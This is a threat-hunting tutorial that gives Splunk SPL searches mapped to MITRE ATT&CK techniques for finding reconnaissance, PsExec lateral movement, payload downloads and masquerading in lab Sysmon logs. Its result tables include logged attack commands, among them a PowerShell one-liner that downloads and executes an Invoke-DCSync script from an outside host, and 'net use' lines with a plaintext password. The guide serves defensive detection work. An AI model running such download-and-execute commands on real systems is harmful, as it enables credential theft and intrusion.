

MITRE ATT&CK® & Splunk>

Crafting SPL Searches Based On Known TTPs guided by the MITRE ATT&CK framework.

1. Detection Of Reconnaissance Activities Leveraging Native Windows Binaries

Reconnaissance (discovery) activity performed using built-in Windows tools.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Discovery

MITRE ID	Technique	Tool
T1033	System Owner/User Discovery	whoami.exe
T1016	System Network Configuration Discovery	ipconfig.exe
T1087	Account Discovery	net.exe user
T1049	Network Connections Discovery	netstat.exe
T1057	Process Discovery	tasklist.exe
T1082	System Information Discovery	hostname.exe
T1018	Remote System Discovery	nbtstat.exe

Convert Technique to SPL search

Use Sysmon Event ID 1 (Process Creation) and search for the execution of those binaries:

The screenshot shows the Splunk Search interface. The search bar contains the following query:

```
* sourcetype="WinEventLog:Sysmon" EventCode=1 Image=*\\ipconfig.exe OR Image=*\\net.exe OR Image=*\\whoami.exe OR Image=*\\netstat.exe OR Image=*\\nbtstat.exe OR Image=*\\hostname.exe OR Image=*\\tasklist.exe | stats count by Image,CommandLine | sort - count
```

The search results show 97 of 49,600 events matched. The results table is as follows:

Image	CommandLine	count
C:\Windows\System32\HOSTNAME.EXE	hostname	19
C:\Windows\System32\ipconfig.exe	ipconfig	6
C:\Windows\System32\net.exe	"C:\Windows\system32\net.exe" users /domain	6
C:\Windows\System32\whoami.exe	whoami	4
C:\Windows\System32\net.exe	net users	3
C:\Windows\System32\whoami.exe	"C:\Windows\system32\whoami.exe"	3
C:\Windows\System32\net.exe	"C:\Windows\system32\net.exe" users	2
C:\Windows\System32\net.exe	"C:\Windows\system32\net.exe" view	2
C:\Windows\System32\net.exe	net use H: \\10.0.0.47\C\$ /user:waldo Password@123	2
C:\Windows\System32\net.exe	net use H: \\10.0.0.47\C\$ whatever /user:waldo	2

This highlighting the utilization of native Windows binaries for reconnaissance purposes.

2. Detection Of Requesting Malicious Payloads/Tools Hosted On Reputable/Whitelisted Domains (Such As githubusercontent.com).

Attackers often **host malware or tools** on trusted domains (like raw.githubusercontent.com) to avoid detection. This technique is known as “**Abuse of Valid Services**”.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Command and Control

MITRE ID	Technique	Tool
T1105	Ingress Tool Transfer	Refers to the download of tools/payloads from a remote location.
T1568.003	Dynamic Resolution: Domain Generation Algorithms (DGA)	DNS is used to resolve domain names dynamically.
T1071.001	Application Layer Protocol: Web Protocols	Tools downloaded using HTTP/HTTPS

Convert Technique to SPL search

Use Sysmon Event ID 22 (DNS Query) and utilization of [githubusercontent.com](https://raw.githubusercontent.com) for payload/tool-hosting purposes.

The screenshot shows the Splunk Search interface. The search bar contains the following SPL query: `* sourcetype="WinEventLog:Sysmon" EventCode=22 QueryName="*github*" | stats count by Image, QueryName`. The results table shows two entries:

Image	QueryName	count
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	raw.githubusercontent.com	9
C:\Windows\System32\svchost.exe	raw.githubusercontent.com	1

This highlights the utilization of [githubusercontent.com](https://raw.githubusercontent.com) for payload/tool-hosting purposes.

3. Detection Of PsExec Usage

Working on detecting PsExec usage through Windows registry activity, specifically using Sysmon Event ID 13 (Registry value set).

PsExec is a legitimate Sysinternals tool used for remote execution of commands. Attackers also use it to move laterally in a network.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > ,

- Lateral Movement > Remote Services > **T1021.002 – SMB/Windows Admin Shares**
- Execution > System Services >

- Persistence >

T1112 – Modify Registry (because PsExec sets registry keys).

Convert Technique to SPL search

This query is looking for instances where the services.exe process has modified the ImagePath value of any service.

I. Case 1: Leveraging Sysmon Event ID 13

splunk>enterprise Apps Messages Settings Activity Help

Search Analytics Datasets Reports Alerts Dashboards Search & Reporting

New Search

Save As Create Table View Close

1 * sourcetype="WinEventLog:Sysmon" EventCode=13 Image="C:\\Windows\\system32\\services.exe" TargetObject="HKLM\\System\\CurrentControlSet\\Services*\\ImagePath" | rex field=Details "(?<reg_file_name=[^\\]+)\$" | eval reg_file_name = lower(reg_file_name), file_name = if(isnull(file_name),reg_file_name,lower(file_name)) | stats values(Image) AS Image, values(Details) AS RegistryDetails, values(_time) AS EventTimes, count by file_name, ComputerName

24 year window

1,128 of 1,514 events matched No Event Sampling

Events Patterns **Statistics (82)** Visualization

20 Per Page Format

file_name	ComputerName	Image	RegistryDetails	EventTimes	count
credentialenrollmentmanager.exe	DESKTOP-EG15PMS	C:\\Windows\\system32\\services.exe	C:\\Windows\\system32\\CredentialEnrollmentManager.exe	1667829639 1667902476	3
credentialenrollmentmanager.exe	DESKTOP-EG551S	C:\\Windows\\system32\\services.exe	C:\\Windows\\system32\\CredentialEnrollmentManager.exe	1667830699 1667834933 1667855053 1667725429 1667726123 1667728857 1667729010 1667900654	30
credentialenrollmentmanager.exe	DESKTOP-EG551S.uniwaldo.local	C:\\Windows\\system32\\services.exe	C:\\Windows\\system32\\CredentialEnrollmentManager.exe	1667902162 1667905253	2

It is evident that there are indications of execution resembling PsExec.

II. Case 2: Leveraging Sysmon Event ID 11

The screenshot displays the Splunk Search interface. At the top, the navigation bar includes links for Messages, Settings, Activity, and Help, along with a Find search bar. Below this, the main header shows 'New Search' with options to Save As, Create Table View, or Close. The search bar contains the query: `* sourcetype="WinEventLog:Sysmon" EventCode=11 Image=System | stats count by TargetFileName`. Below the search bar, it indicates '969 of 151,051 events matched' and 'No Event Sampling'. The interface is divided into tabs for Events, Patterns, Statistics (156), and Visualization. The Statistics tab is active, showing a table of results. The table has two columns: TargetFileName and count. The results list 10 entries, all with a count of 6. Red arrows point from the search bar to the first and second rows of the results table.

New Search Save As Create Table View Close

1 `* sourcetype="WinEventLog:Sysmon" EventCode=11 Image=System | stats count by TargetFileName` 24 year window Search

969 of 151,051 events matched No Event Sampling Job Pause Stop Refresh Download Smart Mode

Events **Patterns** **Statistics (156)** **Visualization**

20 Per Page Format Prev 1 2 3 4 5 6 7 8 Next

TargetFileName	count
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.34.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.35.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.36.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.37.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.38.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.39.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.40.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.41.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.42.etl	6
C:\Windows\Logs\WindowsUpdate\WindowsUpdate.20221029.081614.108.43.etl	6

It is evident that there are indications of execution resembling PsExec.

III. Case 3: Leveraging Sysmon Event ID 18

splunk>enterprise

Apps

MessagesSettingsActivityHelpFind

SearchAnalyticsDatasetsReportsAlertsDashboards

Search & Reporting

New Search

Save AsCreate Table ViewClose

1 * sourcetype="WinEventLog:Sysmon" EventCode=18 Image=System | stats count by PipeName

24 year window

Q

4 of 282,222 events matchedNo Event Sampling

JobPauseStopRefreshDownloadSmart Mode

EventsPatternsStatistics (4)Visualization

20 Per PageFormat

PipeName	count
\PSEXESVC	1
\PSEXESVC-DESKTOP-EGSS5IS-8200-stderr	1
\PSEXESVC-DESKTOP-EGSS5IS-8200-stdin	1
\PSEXESVC-DESKTOP-EGSS5IS-8200-stdout	1

This indicates an execution pattern resembling PsExec.

4. Detection Of Utilization Archive Files For Transferring Tools Or Data Exfiltration

Attackers may employ zip, rar, or 7z files for transferring tools to prepare it for exfiltration or to hide malicious files.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Collection > Archive Collected Data >

- **T1560.001 - Archive via Utility**
- **T1560.002 - Archive via Library**

Convert Technique to SPL search

Search examines the creation of zip, rar, or 7z files.

spunk>enterprise
Apps
Messages
Settings
Activity
Help
Find

Search
Analytics
Datasets
Reports
Alerts
Dashboards
Search & Reporting

New Search

Save As
Create Table View
Close

1
* EventCode=11 (TargetFilename="*.zip" OR TargetFilename="*.rar" OR TargetFilename="*.7z") | stats count by ComputerName, User, TargetFilename | sort - count
24 year window
Find

12 of 50 events matched
No Event Sampling
Job
Pause
Stop
Refresh
Download
Smart Mode

Events
Patterns
Statistics (8)
Visualization

20 Per Page
Format

ComputerName	User	TargetFilename	count
DESKTOP-EGISPM5	DESKTOP-EGISPM5\waldo	C:\Users\waldo\AppData\Local\Temp\14u1h1qc\Microsoft.Net.6.WindowsDesktop.Runtime.5505D4AED4CDC059A08C\windowsdesktop-runtime-x64.zip	5
DESKTOP-EGISPM5	NOT_TRANSLATED	C:\Users\waldo\AppData\Local\Temp\14u1h1qc\Microsoft.Net.6.WindowsDesktop.Runtime.5505D4AED4CDC059A08C\windowsdesktop-runtime-x64.zip	5
DESKTOP-EGSS5IS	DESKTOP-EGSS5IS\waldo	C:\Users\waldo\Downloads\Sysmon (2).zip	4
DESKTOP-EGSS5IS	NOT_TRANSLATED	C:\Users\waldo\Downloads\Sysmon (2).zip	4
DESKTOP-EGSS5IS	NOT_TRANSLATED	C:\Users\waldo\Downloads\Procdump.zip	2
DESKTOP-EGSS5IS	NT AUTHORITY\SYSTEM	C:\Users\waldo\Downloads\Procdump.zip	2
DESKTOP-EGSS5IS_uniwaldo_local	NOT_TRANSLATED	C:\Users\waldo\Downloads\20221108112718_BloodHound.zip	1

Clear indications emerge, highlighting the usage of archive files for tool-transferring and/or data exfiltration purposes.

5. Detection Of Utilizing PowerShell or MS Edge For Downloading Payloads/Tools

Attackers may exploit PowerShell to download additional payloads and tools, or deceive users into downloading malware via web browsers

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Execution >

- Command and Scripting Interpreter > **T1059.001 - Powershell**
- Exploitation for Client Execution > **T1105 - Ingress Tool Transfer**

Convert Technique to SPL search

This SPL query maps to MITRE techniques T1059.001 (PowerShell) and T1105 (Ingress Tool Transfer) and detects when PowerShell or Microsoft Edge creates new files, often used to download payloads/tools, by leveraging EventCode=11 to monitor file creation activity and summarizing by filename and process.Zone.Identifier is ADS contains metadata in downloaded files(Indication that the file is downloaded)

Powershell.exe -

Image	TargetFilename	count
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_1sjscd20.i2o.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_3fc4wzmg.5mk.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_4pmuth13.sw0.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_5ojpubo2.ebq.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_b3c431xt.h5a.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_lp51lr0w.s3e.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_qsp1gmiz.lij.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_r4uglxtt.do2.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_tdx5umk.sps.ps1	1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Users\waldo.UNIWALDO\AppData\Local\Temp_PSScriptPolicyTest_wnwcvncm.fij.ps1	1

Msedge.exe -

New Search

1 * sourcetype='WinEventLog:Sysmon' EventCode=11 Image='*msedge.exe' TargetFilename='*Zone.Identifier' | stats count by TargetFilename | sort + count

52 of 90 events matched No Event Sampling

20 Per Page Format

TargetFilename	count
C:\Users\waldo\Downloads\comsvcs (1).dll:Zone.Identifier	1
C:\Users\waldo\Downloads\Invoke-UserSimulator-master.zip:Zone.Identifier	3
C:\Users\waldo\Downloads\comsvcs.dll:Zone.Identifier	3
C:\Users\waldo\Downloads\randomfile.exe:Zone.Identifier	5
C:\Users\waldo\Downloads\Run.dll:Zone.Identifier	8
C:\Users\waldo\Downloads\demon.exe:Zone.Identifier	8
C:\Users\waldo\Downloads\demoner.dll:Zone.Identifier	8
C:\Users\waldo\Downloads\demon.dll:Zone.Identifier	16

Within both search results, clear indications emerge, highlighting the usage of PowerShell and MS edge for payload/tool-downloading purposes.

6. Detection Of Execution From Atypical Or Suspicious Locations

Identify any process creation (EventCode=1) occurring in a user's Downloads folder.

Adversaries execute programs or scripts from non-standard locations like the Downloads folder, often bypassing traditional security controls

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > ,

- Execution >
 - T1204 - User Execution
 - T1059 – Command and Scripting Interpreter
- Defense Evasion > T1036 - Masquerading

Convert Technique to SPL search

Process Execution from a user's Download folder

New Search

1 * EventCode=1 | regex Image='C:\\\\Users\\\\.*\\\\\\\\Downloads\\\\\\\\.*' | stats count by Image

100 of 489,385 events matched No Event Sampling

20 Per Page Format

Image	count
C:\Users\waldo\Downloads\Dism.exe	16
C:\Users\waldo\Downloads\PsExec64.exe	42
C:\Users\waldo\Downloads\SharpHound.exe	1
C:\Users\waldo\Downloads\Sysmon\Sysmon.exe	11
C:\Users\waldo\Downloads\Sysmon\Sysmon\Sysmon64.exe	4
C:\Users\waldo\Downloads\demon.exe	8
C:\Users\waldo\Downloads\randomfile.exe	18

Clear indications emerge, highlighting execution from a user's Downloads folder.

7. Detection Of Executables or DLLs Being Created Outside The Windows Directory

Attackers may drop .exe or .dll files outside of the Windows system directories to avoid detection, persist, or prepare for execution/injection.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Defense Evasion >

- **T1036 - Masquerading**
- **T1055 - Process Injection** (DLLs dropped for injection)

MITRE ATT&CK > Tactics > Enterprise > Execution > Exploitation for Client Execution >

- **T1105 - Ingress Tool Transfer**

Convert Technique to SPL search

This SPL query maps to MITRE techniques such as T1036 (Masquerading) and T1105 (Ingress Tool Transfer) by detecting when .exe or .dll files are created outside trusted Windows directories, which may indicate tool staging or evasion behavior, using EventCode=11 for file creation events.

The screenshot shows the Splunk Enterprise Search interface. The search bar contains the query: `* EventCode=11 (TargetFilename="*.exe" OR TargetFilename="*.dll") TargetFilename!="*\windows*" | stats count by User, TargetFilename | sort + count`. Below the search bar, it indicates "444 of 137,823 events matched". The results are displayed in a table with columns: User, TargetFilename, and count. The table lists 10 entries, all from the user "DESKTOP-EGI5PMS\waldo", showing various executable files created in the OneDrive directory.

User	TargetFilename	count
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.212.1009.0004\{099105A5-0568-4C83-9F17-FCC2346E8115}_OneDrive.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.212.1009.0004\{F35D4790-5115-49FF-8529-AB8F04475D40}_OneDriveStandaloneUpdater.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\FileCoAuth.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\FileSyncConfig.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\FileSyncHelper.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\Microsoft.SharePoint.NativeMessagingClient.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\Microsoft.SharePoint.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\OneDrive.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\OneDriveFileLauncher.exe	1
DESKTOP-EGI5PMS\waldo	C:\Users\waldo\AppData\Local\Microsoft\OneDrive\22.217.1016.0002\OneDriveSetup.exe	1

Clear indications emerge, highlighting the creation of executables outside the Windows directory.

8. Detection Of Misspelling Legitimate Binaries

Attackers often rename or slightly misspell legitimate tools (e.g., psexec.exe instead of Psexec.exe) to avoid detection by signature-based tools and analysts.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Defense Evasion > Masquerading >

- **T1036.005 - Match Legitimate Resource Name or Location**

Convert Technique to SPL search

This SPL query maps to MITRE technique T1036.005 (Masquerading) by detecting misspelled variants of PsExec, which adversaries use to evade detection while still leveraging the same execution capabilities, using EventCode=1 (process creation) and checking multiple command-line fields.

splunk>enterprise Apps Messages Settings Activity Help Find

Search Analytics Datasets Reports Alerts Dashboards Search & Reporting

New Search

Save As Create Table View Close

1 * sourcetype="WinEventLog:Sysmon" EventCode=1 (CommandLine="*psexec*.exe" NOT (CommandLine="*PSEXESVC.exe" OR CommandLine="*PsExec64.exe")) OR (ParentCommandLine="*psexec*.exe" NOT (ParentCommandLine="*PSEXESVC.exe" OR ParentCommandLine="*PsExec64.exe")) OR (ParentImage="*psexec*.exe" NOT (ParentImage="*PSEXESVC.exe" OR ParentImage="*PsExec64.exe")) OR (Image="*psexec*.exe" NOT (Image="*PSEXESVC.exe" OR Image="*PsExec64.exe")) | table Image, CommandLine, ParentImage, ParentCommandLine 24 year window

9 of 354,635 events matched No Event Sampling Job Smart Mode

Events Patterns Statistics (9) Visualization

20 Per Page Format

Image	CommandLine	ParentImage	ParentCommandLine
C:\Windows\System32\WerFault.exe	C:\Windows\System32\WerFault.exe -u -p 5084 -s 1548	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe
C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe
C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe
C:\Windows\System32\rundll32.exe	C:\Windows\System32\rundll32.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C iex(new-Object Net.WebClient).DownloadString('http://10.0.0.229:8080/Invoke-DCSync.ps1')	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C iex(new-Object	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe	\\10.0.0.47\C\$\Windows\PSEXESVCVCS.exe

Clear indications emerge, highlighting the misspelling of PSEXESVC.exe for evasion purposes

9. Detection Of Using Non-standard Ports For Communications/Transfers

Adversaries may use uncommon or non-standard network ports to evade detection and bypass security controls.

MITRE ATT&CK Mapping

MITRE ATT&CK > Tactics > Enterprise > Command and Control > Non-Standard Port >

- **T1571 - Non-Standard Port**

Convert Technique to SPL search

This SPL query maps to MITRE technique T1571 (Non-Standard Port) by identifying network traffic over uncommon ports, which may indicate covert communication channels or data exfiltration activity.

This SPL query identifies connections that do not use common service ports like 80 (HTTP), 443 (HTTPS), 22 (SSH), or 21 (FTP).

splunk>enterpriseApps

MessagesSettingsActivityHelpFind

SearchAnalyticsDatasetsReportsAlertsDashboards

Search & Reporting

New Search

Save AsCreate Table ViewClose

1 * EventCode=3 NOT (DestinationPort=80 OR DestinationPort=443 OR DestinationPort=22 OR DestinationPort=21) | stats count by SourceIp, DestinationIp, DestinationPort | sort - count

790 of 88,437 events matchedNo Event Sampling

24 year window

JobPauseRefreshDownloadSmart Mode

EventsPatternsStatistics (49)Visualization

20 Per PageFormat

< Prev123Next >

SourceIp	DestinationIp	DestinationPort	count
10.0.0.253	224.0.0.252	5355	96
fe80:0:0:7d88:ef1:871a:6992	ff02:0:0:0:0:1:3	5355	96
10.0.0.230	10.0.0.253	3389	95
2601:151:c303:9660:2431:1c2:32:e984	2001:558:feed:0:0:0:1	53	66
2601:151:c303:9660:a5a7:7e03:7c0:7160	2001:558:feed:0:0:0:1	53	48
10.0.0.253	10.0.0.230	8080	40
10.0.0.253	10.0.0.229	8080	35
10.0.0.253	10.0.0.81	53	35
10.0.0.47	10.0.0.81	53	21

Clear indications emerge, highlighting the usage of non-standard ports communication or tool-transferring purposes.

E N D